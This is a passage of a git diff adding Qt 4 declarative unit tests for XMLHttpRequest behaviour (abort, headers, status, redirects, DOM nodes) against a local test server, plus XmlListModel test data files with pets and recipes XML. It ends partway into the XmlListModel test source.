+void tst_qdeclarativexmlhttprequest::abort_opened()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("abort_opened.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "testdocument.html");
+ component.completeCreate();
+
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("openedState").toBool(), true);
+ QCOMPARE(object->property("status").toBool(), true);
+ QCOMPARE(object->property("statusText").toBool(), true);
+ QCOMPARE(object->property("responseText").toBool(), true);
+ QCOMPARE(object->property("responseXML").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+// Test abort() aborts in progress send
+void tst_qdeclarativexmlhttprequest::abort()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("abort.expect"),
+ TEST_FILE("abort.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("abort.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("urlDummy", "http://127.0.0.1:14449/testdocument.html");
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QCOMPARE(object->property("seenDone").toBool(), true);
+ QCOMPARE(object->property("didNotSeeUnsent").toBool(), true);
+ QCOMPARE(object->property("endStateUnsent").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::getResponseHeader()
+{
+ QDeclarativeEngine engine; // Avoid cookie contamination
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("getResponseHeader.expect"),
+ TEST_FILE("getResponseHeader.reply"),
+ TEST_FILE("testdocument.html")));
+
+
+ QDeclarativeComponent component(&engine, TEST_FILE("getResponseHeader.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QCOMPARE(object->property("unsentException").toBool(), true);
+ QCOMPARE(object->property("openedException").toBool(), true);
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("openedState").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("headersReceivedState").toBool(), true);
+ QCOMPARE(object->property("headersReceivedNullHeader").toBool(), true);
+ QCOMPARE(object->property("headersReceivedValidHeader").toBool(), true);
+ QCOMPARE(object->property("headersReceivedMultiValidHeader").toBool(), true);
+ QCOMPARE(object->property("headersReceivedCookieHeader").toBool(), true);
+
+ QCOMPARE(object->property("doneState").toBool(), true);
+ QCOMPARE(object->property("doneNullHeader").toBool(), true);
+ QCOMPARE(object->property("doneValidHeader").toBool(), true);
+ QCOMPARE(object->property("doneMultiValidHeader").toBool(), true);
+ QCOMPARE(object->property("doneCookieHeader").toBool(), true);
+
+ delete object;
+}
+
+// Test getResponseHeader throws an exception in an invalid state
+void tst_qdeclarativexmlhttprequest::getResponseHeader_unsent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("getResponseHeader_unsent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+// Test getResponseHeader throws an exception in an invalid state
+void tst_qdeclarativexmlhttprequest::getResponseHeader_sent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("getResponseHeader_sent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+// Invalid arg count throws exception
+void tst_qdeclarativexmlhttprequest::getResponseHeader_args()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("getResponseHeader_args.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("exceptionThrown").toBool() == true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::getAllResponseHeaders()
+{
+ QDeclarativeEngine engine; // Avoid cookie contamination
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("getResponseHeader.expect"),
+ TEST_FILE("getResponseHeader.reply"),
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("getAllResponseHeaders.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ component.completeCreate();
+
+ QCOMPARE(object->property("unsentException").toBool(), true);
+ QCOMPARE(object->property("openedException").toBool(), true);
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("openedState").toBool(), true);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("headersReceivedState").toBool(), true);
+ QCOMPARE(object->property("headersReceivedHeader").toBool(), true);
+
+ QCOMPARE(object->property("doneState").toBool(), true);
+ QCOMPARE(object->property("doneHeader").toBool(), true);
+
+ delete object;
+}
+
+// Test getAllResponseHeaders throws an exception in an invalid state
+void tst_qdeclarativexmlhttprequest::getAllResponseHeaders_unsent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("getAllResponseHeaders_unsent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+// Test getAllResponseHeaders throws an exception in an invalid state
+void tst_qdeclarativexmlhttprequest::getAllResponseHeaders_sent()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("getAllResponseHeaders_sent.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toBool(), true);
+
+ delete object;
+}
+
+// Invalid arg count throws exception
+void tst_qdeclarativexmlhttprequest::getAllResponseHeaders_args()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("getAllResponseHeaders_args.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("exceptionThrown").toBool() == true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::status()
+{
+ QFETCH(QUrl, replyUrl);
+ QFETCH(int, status);
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("status.expect"),
+ replyUrl,
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("status.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ object->setProperty("expectedStatus", status);
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("unsentException").toBool(), true);
+ QCOMPARE(object->property("openedException").toBool(), true);
+ QCOMPARE(object->property("sentException").toBool(), true);
+ QCOMPARE(object->property("headersReceived").toBool(), true);
+ QCOMPARE(object->property("loading").toBool(), true);
+ QCOMPARE(object->property("done").toBool(), true);
+ QCOMPARE(object->property("resetException").toBool(), true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::status_data()
+{
+ QTest::addColumn<QUrl>("replyUrl");
+ QTest::addColumn<int>("status");
+
+ QTest::newRow("OK") << TEST_FILE("status.200.reply") << 200;
+ QTest::newRow("Not Found") << TEST_FILE("status.404.reply") << 404;
+}
+
+void tst_qdeclarativexmlhttprequest::statusText()
+{
+ QFETCH(QUrl, replyUrl);
+ QFETCH(QString, statusText);
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("status.expect"),
+ replyUrl,
+ TEST_FILE("testdocument.html")));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("statusText.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ object->setProperty("expectedStatus", statusText);
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("unsentException").toBool(), true);
+ QCOMPARE(object->property("openedException").toBool(), true);
+ QCOMPARE(object->property("sentException").toBool(), true);
+ QCOMPARE(object->property("headersReceived").toBool(), true);
+ QCOMPARE(object->property("loading").toBool(), true);
+ QCOMPARE(object->property("done").toBool(), true);
+ QCOMPARE(object->property("resetException").toBool(), true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::statusText_data()
+{
+ QTest::addColumn<QUrl>("replyUrl");
+ QTest::addColumn<QString>("statusText");
+
+ QTest::newRow("OK") << TEST_FILE("status.200.reply") << "OK";
+ QTest::newRow("Not Found") << TEST_FILE("status.404.reply") << "Document not found";
+}
+
+void tst_qdeclarativexmlhttprequest::responseText()
+{
+ QFETCH(QUrl, replyUrl);
+ QFETCH(QUrl, bodyUrl);
+ QFETCH(QString, responseText);
+
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ QVERIFY(server.wait(TEST_FILE("status.expect"),
+ replyUrl,
+ bodyUrl));
+
+ QDeclarativeComponent component(&engine, TEST_FILE("responseText.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/testdocument.html");
+ object->setProperty("expectedText", responseText);
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("unsent").toBool(), true);
+ QCOMPARE(object->property("opened").toBool(), true);
+ QCOMPARE(object->property("sent").toBool(), true);
+ QCOMPARE(object->property("headersReceived").toBool(), true);
+ QCOMPARE(object->property("loading").toBool(), true);
+ QCOMPARE(object->property("done").toBool(), true);
+ QCOMPARE(object->property("reset").toBool(), true);
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::responseText_data()
+{
+ QTest::addColumn<QUrl>("replyUrl");
+ QTest::addColumn<QUrl>("bodyUrl");
+ QTest::addColumn<QString>("responseText");
+
+ QTest::newRow("OK") << TEST_FILE("status.200.reply") << TEST_FILE("testdocument.html") << "QML Rocks!\n";
+ QTest::newRow("empty body") << TEST_FILE("status.200.reply") << QUrl() << "";
+ QTest::newRow("Not Found") << TEST_FILE("status.404.reply") << TEST_FILE("testdocument.html") << "";
+}
+
+void tst_qdeclarativexmlhttprequest::nonUtf8()
+{
+ QFETCH(QString, fileName);
+ QFETCH(QString, responseText);
+ QFETCH(QString, xmlRootNodeValue);
+
+ QDeclarativeComponent component(&engine, TEST_FILE("utf16.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ object->setProperty("fileName", fileName);
+ QMetaObject::invokeMethod(object, "startRequest");
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("responseText").toString(), responseText);
+
+ if (!xmlRootNodeValue.isEmpty()) {
+ QString rootNodeValue = object->property("responseXmlRootNodeValue").toString();
+ QCOMPARE(rootNodeValue, xmlRootNodeValue);
+ }
+
+ delete object;
+}
+
+void tst_qdeclarativexmlhttprequest::nonUtf8_data()
+{
+ QTest::addColumn<QString>("fileName");
+ QTest::addColumn<QString>("responseText");
+ QTest::addColumn<QString>("xmlRootNodeValue");
+
+ QString uc;
+ uc.resize(3);
+ uc[0] = QChar(0x10e3);
+ uc[1] = QChar(' ');
+ uc[2] = QChar(0x03a3);
+
+ QTest::newRow("responseText") << "utf16.html" << uc + '\n' << "";
+ QTest::newRow("responseXML") << "utf16.xml" << "<?xml version=\"1.0\" encoding=\"UTF-16\" standalone='yes'?>\n<root>\n" + uc + "\n</root>\n" << QString('\n' + uc + '\n');
+}
+
+// Test that calling hte XMLHttpRequest methods on a non-XMLHttpRequest object
+// throws an exception
+void tst_qdeclarativexmlhttprequest::invalidMethodUsage()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("invalidMethodUsage.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("onreadystatechange").toBool(), true);
+ QCOMPARE(object->property("readyState").toBool(), true);
+ QCOMPARE(object->property("status").toBool(), true);
+ QCOMPARE(object->property("statusText").toBool(), true);
+ QCOMPARE(object->property("responseText").toBool(), true);
+ QCOMPARE(object->property("responseXML").toBool(), true);
+
+ QCOMPARE(object->property("open").toBool(), true);
+ QCOMPARE(object->property("setRequestHeader").toBool(), true);
+ QCOMPARE(object->property("send").toBool(), true);
+ QCOMPARE(object->property("abort").toBool(), true);
+ QCOMPARE(object->property("getResponseHeader").toBool(), true);
+ QCOMPARE(object->property("getAllResponseHeaders").toBool(), true);
+
+ delete object;
+}
+
+// Test that XMLHttpRequest transparently redirects
+void tst_qdeclarativexmlhttprequest::redirects()
+{
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.addRedirect("redirect.html", "http://127.0.0.1:14445/redirecttarget.html");
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("redirects.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/redirect.html");
+ object->setProperty("expectedText", "");
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("done").toBool() == true);
+ QCOMPARE(object->property("dataOK").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.addRedirect("redirect.html", "http://127.0.0.1:14445/redirectmissing.html");
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("redirectError.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/redirect.html");
+ object->setProperty("expectedText", "");
+ component.completeCreate();
+
+ QTRY_VERIFY(object->property("done").toBool() == true);
+ QCOMPARE(object->property("dataOK").toBool(), true);
+
+ delete object;
+ }
+
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.addRedirect("redirect.html", "http://127.0.0.1:14445/redirect.html");
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeComponent component(&engine, TEST_FILE("redirectRecur.qml"));
+ QObject *object = component.beginCreate(engine.rootContext());
+ QVERIFY(object != 0);
+ object->setProperty("url", "http://127.0.0.1:14445/redirect.html");
+ object->setProperty("expectedText", "");
+ component.completeCreate();
+
+ for (int ii = 0; ii < 60; ++ii) {
+ if (object->property("done").toBool()) break;
+ QTest::qWait(50);
+ }
+ QVERIFY(object->property("done").toBool() == true);
+
+ QCOMPARE(object->property("dataOK").toBool(), true);
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativexmlhttprequest::responseXML_invalid()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("responseXML_invalid.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("xmlNull").toBool(), true);
+
+ delete object;
+}
+
+// Test the Document DOM element
+void tst_qdeclarativexmlhttprequest::document()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("document.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("xmlTest").toBool(), true);
+
+ delete object;
+}
+
+// Test the Element DOM element
+void tst_qdeclarativexmlhttprequest::element()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("element.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("xmlTest").toBool(), true);
+
+ delete object;
+}
+
+// Test the Attr DOM element
+void tst_qdeclarativexmlhttprequest::attr()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("attr.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("xmlTest").toBool(), true);
+
+ delete object;
+}
+
+// Test the Text DOM element
+void tst_qdeclarativexmlhttprequest::text()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("text.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("xmlTest").toBool(), true);
+
+ delete object;
+}
+
+// Test the CDataSection DOM element
+void tst_qdeclarativexmlhttprequest::cdata()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("cdata.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QTRY_VERIFY(object->property("dataOK").toBool() == true);
+
+ QCOMPARE(object->property("xmlTest").toBool(), true);
+
+ delete object;
+}
+
+QTEST_MAIN(tst_qdeclarativexmlhttprequest)
+
+#include "tst_qdeclarativexmlhttprequest.moc"
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model.qml
new file mode 100644
index 00000000..fdacb6c4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/model.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+XmlListModel {
+ source: "model.xml"
+ query: "/Pets/Pet"
+ XmlRole { name: "name"; query: "name/string()" }
+ XmlRole { name: "type"; query: "type/string()" }
+ XmlRole { name: "age"; query: "age/number()" }
+ XmlRole { name: "size"; query: "size/string()" }
+}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model.xml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model.xml
new file mode 100644
index 00000000..40cd6d04
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/model.xml
@@ -0,0 +1,54 @@
+<Pets>
+ <Pet>
+ <name>Polly</name>
+ <type>Parrot</type>
+ <age>12</age>
+ <size>Small</size>
+ </Pet>
+ <Pet>
+ <name>Penny</name>
+ <type>Turtle</type>
+ <age>4</age>
+ <size>Small</size>
+ </Pet>
+ <Pet>
+ <name>Warren</name>
+ <type>Rabbit</type>
+ <age>2</age>
+ <size>Small</size>
+ </Pet>
+ <Pet>
+ <name>Spot</name>
+ <type>Dog</type>
+ <age>9</age>
+ <size>Medium</size>
+ </Pet>
+ <Pet>
+ <name>Whiskers</name>
+ <type>Cat</type>
+ <age>2</age>
+ <size>Medium</size>
+ </Pet>
+ <Pet>
+ <name>Joey</name>
+ <type>Kangaroo</type>
+ <age>1</age>
+ </Pet>
+ <Pet>
+ <name>Kimba</name>
+ <type>Bunny</type>
+ <age>65</age>
+ <size>Large</size>
+ </Pet>
+ <Pet>
+ <name>Rover</name>
+ <type>Dog</type>
+ <size>Large</size>
+ </Pet>
+ <Pet>
+ <name>Tiny</name>
+ <type>Elephant</type>
+ <age>15</age>
+ <size>Large</size>
+ </Pet>
+</Pets>
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml
new file mode 100644
index 00000000..dab2ec6d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.xml
@@ -0,0 +1,14 @@
+<Pets>
+ <Pet>
+ <name>Polly</name>
+ <type>Parrot</type>
+ <age>12</age>
+ <size>Small</size>
+ </Pet>
+ <Pet>
+ <name>Penny</name>
+ <type>Turtle</type>
+ <age>4</age>
+ <size>Small</size>
+ </Pet>
+</Pets>
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/propertychanges.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/propertychanges.qml
new file mode 100644
index 00000000..ed674ce3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/propertychanges.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+XmlListModel {
+ source: "model.xml"
+ query: "/Pets/Pet"
+ XmlRole { objectName: "role"; name: "name"; query: "name/string()" }
+ XmlRole { name: "type"; query: "type/string()" }
+ XmlRole { name: "age"; query: "age/number()" }
+ XmlRole { name: "size"; query: "size/string()" }
+}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.qml
new file mode 100644
index 00000000..6345101d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+XmlListModel {
+ source: "recipes.xml"
+ query: "/recipes/recipe"
+ XmlRole { name: "title"; query: "@title/string()" }
+ XmlRole { name: "picture"; query: "picture/string()" }
+ XmlRole { name: "ingredients"; query: "ingredients/string()" }
+ XmlRole { name: "preparation"; query: "method/string()" }
+}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.xml b/tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.xml
new file mode 100644
index 00000000..d71de607
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/recipes.xml
@@ -0,0 +1,90 @@
+<recipes>
+ <recipe title="Pancakes">
+ <picture>content/pics/pancakes.jpg</picture>
+ <ingredients><![CDATA[<html>
+ <ul>
+ <li> 1 cup (150g) self-raising flour
+ <li> 1 tbs caster sugar
+ <li> 3/4 cup (185ml) milk
+ <li> 1 egg
+ </ul>
+ </html>
+ ]]></ingredients>
+ <method><![CDATA[<html>
+ <ol>
+ <li> Sift flour and sugar together into a bowl. Add a pinch of salt.
+ <li> Beat milk and egg together, then add to dry ingredients. Beat until smooth.
+ <li> Pour mixture into a pan on medium heat and cook until bubbles appear on the surface.
+ <li> Turn over and cook other side until golden.
+ </ol>
+ </html>
+ ]]></method>
+ </recipe>
+ <recipe title="Fruit Salad">
+ <picture>content/pics/fruit-salad.jpg</picture>
+ <ingredients><![CDATA[* Seasonal Fruit]]></ingredients>
+ <method><![CDATA[* Chop fruit and place in a bowl.]]></method>
+ </recipe>
+ <recipe title="Vegetable Soup">
+ <picture>content/pics/vegetable-soup.jpg</picture>
+ <ingredients><![CDATA[<html>
+ <ul>
+ <li> 1 onion
+ <li> 1 turnip
+ <li> 1 potato
+ <li> 1 carrot
+ <li> 1 head of celery
+ <li> 1 1/2 litres of water
+ </ul>
+ </html>
+ ]]></ingredients>
+ <method><![CDATA[<html>
+ <ol>
+ <li> Chop vegetables.
+ <li> Boil in water until vegetables soften.
+ <li> Season with salt and pepper to taste.
+ </ol>
+ </html>
+ ]]></method>
+ </recipe>
+ <recipe title="Hamburger">
+ <picture>content/pics/hamburger.jpg</picture>
+ <ingredients><![CDATA[<html>
+ <ul>
+ <li> 500g minced beef
+ <li> Seasoning
+ <li> lettuce, tomato, onion, cheese
+ <li> 1 hamburger bun for each burger
+ </ul>
+ </html>
+ ]]></ingredients>
+ <method><![CDATA[<html>
+ <ol>
+ <li> Mix the beef, together with seasoning, in a food processor.
+ <li> Shape the beef into burgers.
+ <li> Grill the burgers for about 5 mins on each side (until cooked through)
+ <li> Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion.
+ </ol>
+ </html>
+ ]]></method>
+ </recipe>
+ <recipe title="Lemonade">
+ <picture>content/pics/lemonade.jpg</picture>
+ <ingredients><![CDATA[<html>
+ <ul>
+ <li> 1 cup Lemon Juice
+ <li> 1 cup Sugar
+ <li> 6 Cups of Water (2 cups warm water, 4 cups cold water)
+ </ul>
+ </html>
+ ]]></ingredients>
+ <method><![CDATA[<html>
+ <ol>
+ <li> Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves.
+ <li> Pour in lemon juice, stir again, and add 4 cups of cold water.
+ <li> Chill or serve over ice cubes.
+ </ol>
+ </html>
+ ]]></method>
+ </recipe>
+</recipes>
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/roleCrash.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/roleCrash.qml
new file mode 100644
index 00000000..492dad92
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/roleCrash.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+XmlListModel {
+ id: model
+ XmlRole {}
+ Component.onCompleted: model.roles = 0
+}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/roleErrors.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/roleErrors.qml
new file mode 100644
index 00000000..a0d846f1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/roleErrors.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+XmlListModel {
+ source: "model.xml"
+ query: "/Pets/Pet"
+ XmlRole { name: "name"; query: "/name/string()" } //starts with '/'
+ XmlRole { name: "type"; query: "type" } //no type
+ XmlRole { name: "age"; query: "age/" } //ends with '/'
+ XmlRole { name: "size"; query: "size/number()" } //wrong type
+}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/roleKeys.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/roleKeys.qml
new file mode 100644
index 00000000..d90cd610
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/roleKeys.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+XmlListModel {
+ query: "/data/item"
+ XmlRole { id: nameRole; name: "name"; query: "name/string()"; isKey: true }
+ XmlRole { name: "age"; query: "age/number()"; isKey: true }
+ XmlRole { name: "sport"; query: "sport/string()" }
+
+ function disableNameKey() {
+ nameRole.isKey = false;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml
new file mode 100644
index 00000000..4dbcc029
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+XmlListModel {
+ query: "/data"
+ XmlRole { name: "stringValue"; query: "a-string/string()" }
+ XmlRole { name: "numberValue"; query: "a-number/number()" }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/unique.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/unique.qml
new file mode 100644
index 00000000..dab8ffa7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/unique.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+XmlListModel {
+ source: "model.xml"
+ query: "/Pets/Pet"
+ XmlRole { name: "name"; query: "name/string()" }
+ XmlRole { name: "name"; query: "type/string()" }
+}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro b/tests/auto/declarative/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro
new file mode 100644
index 00000000..64b82677
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro
@@ -0,0 +1,20 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative script gui network
+contains(QT_CONFIG,xmlpatterns) {
+ QT += xmlpatterns
+ DEFINES += QTEST_XMLPATTERNS
+}
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativexmllistmodel.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
new file mode 100644
index 00000000..6a7ae44a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
@@ -0,0 +1,988 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <private/qdeclarativeengine_p.h>
+
+#include <QtTest/QtTest>
+#include <QtGlobal>
+#include <math.h>
+
+#include <qtest.h>
+#include <QtTest/qsignalspy.h>
+#include <QtDeclarative/qdeclarativenetworkaccessmanagerfactory.h>
+#include <QtNetwork/qnetworkaccessmanager.h>
+#include <QtNetwork/qnetworkrequest.h>
+#include <QtCore/qtimer.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qtemporaryfile.h>
+
+#ifdef QTEST_XMLPATTERNS
